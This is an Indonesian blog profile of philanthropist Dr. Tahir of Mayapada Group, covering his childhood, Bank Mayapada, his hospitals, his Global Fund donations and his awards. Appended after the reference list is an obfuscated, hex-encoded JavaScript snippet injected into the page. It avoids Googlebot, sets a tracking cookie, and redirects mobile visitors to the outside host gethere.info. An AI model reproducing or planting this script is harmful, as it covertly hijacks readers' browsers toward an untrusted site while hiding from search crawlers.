mengenal-lebih-dekat-sosok-dr-tahir-youthtalk

Siapa yang tak mengenal Mayapada Group? sebuah holding company yang memiliki berbagai unit usaha di Indonesia mulai dari perbankan, media cetak, TV berbayar, properti, hingga rumah sakit. Usaha yang berkembang pesat ini ternyata digawangi oleh seorang filantropis kenamaan yaitu Dato’ Sri Prof. Tahir atau biasa disapa Dr. Tahir. Dibesarkan dari keluarga pembuat becak, Dr. Tahir menghabiskan masa kecilnya ditengah masyarakat yang tergolong tidak mampu di surabaya. Cita-cita menjadi seorang dokter pun terpaksa ditanggalkan karena sang ayah mengalami sakit keras dan tak mampu mememnuhi kebutuhan keluarga. Tidak berlarut dalam kesulitan, Dr. Tahir meneruskan bisnis ayahnya di Surabaya. Ini juga yang memantik jiwa entrepreneurship seorang Dr. Tahir.

Pada usia 20 tahun, setelah berusaha dengan keras, ia mendapatkan beasiswa di sekolah bisnis terkemuka di Dunia yaitu Nanyang Technological University (NTU), Singapura. Sembari menjalani studi, Dr. Tahir tiap bulan mencari produk di Singapura untuk dijual kemudian di Surabaya. Ini pula yang mengawali gagasan pendirian garmen yang ia rintis. Leadership yang tergambar dari kepribadian yang berani dan inovatif membawanya menjadi seorang pengusaha muda di Indonesia. Ia dikenal gigih dan memiliki beraneka ragam jenis usaha. Setelah mengalami perkembangan usaha yang signifikan dibidang garmen, Dr. Tahir memulai merambah bisnis bidang keuangan. Pada tahun 1990 Bank Mayapada lahir dan menjadi salah satu bisnis andalannya. Setelah usaha garmennya mandek, Bank Mayapada maju pesat ditengah krisis 1998 yang menyerang perekonomian Indonesia. Ketika banyak bisnis yang seketika ambruk, Bank Mayapada semakin bersinar dengan melenggang ke Bursa Efek Jakarta. Dengan tidak mengambil kredit dari bank asing sebesar bank-bank lainnya dan fokus pada pengucuran kredit usaha kecil membuatnya tetap berjalan.

Melihat kesuksesan Bank Mayapada dalam menghadapi krisis moneter membuatnya terus agresif. Dengan investasi asing seperti US, UAE, dan Singapura, banknya kini memiliki lebih dari 100 cabang di penjuru Indonesia. Di 2007, bank ini mendapatkan predikat bank umum terbaik nomor 2 selain bank milik negara. Penghargaan dikeluarkan oleh majalah InfoBank, majalah tentang bank paling berpengaruh. Selain perbankan, Mayapada Group masih melanjutkan ekspansinya. Kini Tahir tercatat sebagai orang terkaya ke-12 di Indonesia. Harta kekayaannya saat ini mencapai 2 miliar dollar US$ atau setara dengan 19 trilyun rupiah. Melalui bank Mayapada yang didirikannya, ia terus memompa semangat masyarakat untuk berwirausaha. Berkat kegigihannya ini, Tahir dianugerahi Doktor Kehormatan oleh Universitas 17 Agustus Surabaya.

Tidak berhenti dari sana, berbekal semangat seorang dokter ia mewujudkan semangatnya dengan membangun Rumah Sakit Mayapada yang berlokasi di Tanggerang dan Jakarta Selatan. Dr. Tahir memberikan kemudahan akses pelayanan kesehatan bagi anak dan keluarga tidak mampu. Pada peresmiannya, Rumah Sakit ini memberi pelayanan operasi jantung gratis bagi 100 pasien. RS Mayapada di Tangerang memiliki pusat neurosains, kardiologi, gastrointestinal dan juga onkologi. Sedangkan baik RS yang berada di Tangerang maupun Lebak Bulus tetap menyediakan layanan gawat darurat, ambulans dan klinik minggu. Dan direncanakan pembangunan cabang ketiga di Bali, serta sumbangan untuk Malaria dan Polio. Tak absen saat terjadi banjir di Jakarta, ia bersama Alim Markus (Maspion) dan Mochtar Riady (Lippo Group) ikut menyumbangkan Rp 7 Miliar dalam bentuk pengadaan air bersih, buku dan juga seragam sekolah bagi anak-anak korban banjir .

Sementara sumbangannya yang sangat dikenal adalah US$ 75 Juta untuk The Global Fund untuk melawan TBC, HIV, dan Malaria di Indonesia, bermitra dengan Bill & Melinda Gates Foundation, yayasan sosial milik miliader terkaya di dunia Bill Gates. US$ 10 Juta di antaranya digunakan untuk memperluas akses kontrasepsi. Dengan bermitra bersama Bill & Melinda Gates Foundation, sumbangannya dilipatgandakan menjadi US$ 150 Juta. .

Dalam artikel pribadi Dr. Tahir di kanal blog “The Big Push”, sebuah portal blog rancangan Huffington Post dan The Global Fund Dr. Tahir mengatakan :

“Saya tidak menyesal karena dulu saya gagal menjadi dokter. Tapi memang, saya tahu bahwa saya telah sangat diberkati. Walaupun saya gagal menjadi dokter karena tidak memiliki dana yang cukup untuk melanjutkan pendidikan, tetapi saya masih lebih beruntung dibandingkan dengan kondisi jutaan anak-anak lain di negara-negara berkembang di Afrika, Asia dan Pasifik Barat yang terpaksa masuk ke dalam lingkaran kemiskinan ekstrim ketika orangtua mereka sakit atau meninggal, dan jutaan lainnya menderita penyakit yang tidak dapat dicegahnya karena faktor lingkungan serta infrastruktur kesehetan yang kurang.

…Itulah mengapa saya telah memutuskan untuk menginvestasikan US $ 65 juta melalui Lembaga Donor Global untuk Memerangi AIDS, Tuberkulosis dan Malaria. Ketika Global Fund diciptakan satu dekade yang lalu, kejadian HIV meningkat di seluruh dunia, dan obat yang digunakan untuk mengobati virus masih mahal. Malaria membunuh satu juta orang setiap tahun, dengan kematian terkonsentrasi di antara wanita hamil dan anak-anak di bawah usia lima tahun. Lebih dari dua juta orang meninggal akibat TBC karena mereka tidak memiliki akses murah pengobatan murah kelas satu. Sejak itu, saya melihat Global Fund telah memainkan peran penting dalam penanggulangan penyebaran epidemi ini. Kini di seluruh dunia, kejadian HIV telah menurun sepertiga, dan biaya obat HIV telah menurun lebih dari 99 persen”

Selain itu juga, ia sudah mengucurkan dana sebesar USD 3,27 juta dalam rangka pemberian beasiswa bagi mahasiswa tidak mampu yang tersebar di sepuluh perguruan tinggi di seluruh Indonesia. Untuk bantuan di pendidikan menengah se-nusantara, Tahir membeli 10.000 komputer jinjing (laptop) dengan total nilai USD 3 juta bagi lima bintang kelas teratas yang berasal dari keluarga tidak mampu. Ia juga memberi beasiswa bagi mahasiswa-mahasiswa Peking University dan Haas School of Business yang berasal dari Asia Pasifik.

Istrinya, Rosy Riady juga menggagas sociopreneur, wirausaha yang berorientasi sosial dengan membuka outlet barang bekas di bilangan Jakarta Pusat. Outlet itu bernama h2h yang merupakan singkatan dari helping 2nd hand. Sesuai namanya, hasil penjualan barang didekasikan langsung bagi pemenuhan SPP siswa yang berasal dari keluarga kurang mampu.

Beragam penghargaan telah ia terima, pada tahun 2011 mendapatkan pengharggan Chancellor Citation dari chancellor University of California, Berkeley, Amerika Serikat (sebuah penghargaan dari chancellor University of California, Robert J. Birgeneau atas kepemimpinan yang luar biasa dalam bisnis dan pengabdiannya dalam kegiatan filantropi dan pelayanan kepada masyarakat), kedua, penghargaan Entrepreneur of the Year 2011 dari Ernst & Young, penghargaan di bidang pendidikan oleh Perdana Menteri Singapura Lee Kuan Yew (2011), dan masih banyak lagi. Penghargaan dari chancellor University of California, Robert J. Birgeneau tersebut berhasil Dr. Tahir dapatkan juga karena pertimbangan bahwa Dr. Tahir ini tercatat sebagai orang Asia pertama yang menjadi anggota wali amanat University of California (UC) Berkeley, AS .

Jadi masih takut mencoba dan masih menutup diri? Come on guys!

 

Dihimpun dari berbagai sumber

^ “Tahr Profile”, wikipedia

“Tahir Profile”. Forbes Indonesia.

^ “Info Bank News”.

^ “Tahir Profile”. Forbes Indonesia.

^ “RS Mayapada Fasilitasi Operasi Jantung Gratis Bagi 100 Pasien”Beritasatu.com. Diakses 20 January 2014.

^ Aziza, Kurnia Sari. “Mayapada Group Sambangi Jokowi Gelontorkan Bantuan”.http://megapolitan.kompas.com/read/2013/01/25/23552066/Mayapada.Group.Sambangi.Jokowi.Gelontorkan.Bantuan.

^ “Tahir Contributes $65 Million to the Global Fund”The Global Fund.

^ Tahir. “My Best Investment”. http://www.huffingtonpost.com/dato-sri-tahir/my-best-investment_b_4337807.html.

^ Gooch, Liz (March 18 2012). “Indonesian Acts in ‘Giving Back to Society'”The New York Times. Diakses 20 January 2014.

^ “Tahir”. Forbes Global CEO Conference. Diakses 20 January 2014.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

keyboard_arrow_up